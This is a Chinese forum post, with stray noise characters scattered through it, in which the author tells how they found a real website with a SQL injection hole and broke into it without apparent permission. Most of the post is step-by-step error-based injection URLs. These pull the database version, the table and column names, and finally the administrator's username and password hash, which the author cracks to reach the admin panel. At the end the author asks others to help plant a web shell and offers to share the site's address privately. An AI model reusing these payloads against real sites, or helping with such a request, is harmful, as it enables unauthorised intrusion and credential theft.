近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
, I( L, {% L! s# H! W# }8 N首先找到网站后台,加了个admin,后台出来了
0 e3 w8 j8 O3 c& S2 B0 @0 [- V& u6 ~6 I* X, Y% Y
) n% k E. c' t# `% @然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入: H0 j! {9 U, k; }
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
v+ X q1 L4 D7 L% ?, N9 d7 l# B6 ]6 u5 l' Q' O9 T5 x
- z4 w# }. d' [1 D* V$ }/ A) F5 l" | y" v' v3 v
. w0 E+ w& w# F( u* d
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
: T# i& i6 |0 r
: s4 c" L6 V+ J& h5 C' ?+ e( k+ Z V+ X; y, w# B; z) f7 O
: Z+ f8 p) f$ {2 B: [1 x; J+ o
U. T! { S5 [* [" E' L
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator( r+ f9 a* Q7 {' r6 z
+ b; h4 ^4 a1 j5 Q/ k, q0 i' Q
/ s% |5 \8 Y, |
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg$ i: [; w0 z" ?% x8 |& H
: c+ N6 `* a$ E5 a$ t# {
4 \1 Q3 K0 K) W6 ?
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
* O" t: w7 V, L" _8 w
/ _' L: s) y: e! }3 w% A5 f
! {# w: r$ Z, x! E1 L- U5 H0 I) V$ c) F2 N% c% d$ ~6 a
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--! t V& }5 w H1 Y; _
5 v7 P) I+ p$ s
. d: x- p" ]5 t' v* j2 V
' Y( a" ?# F% o @; C6 q 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |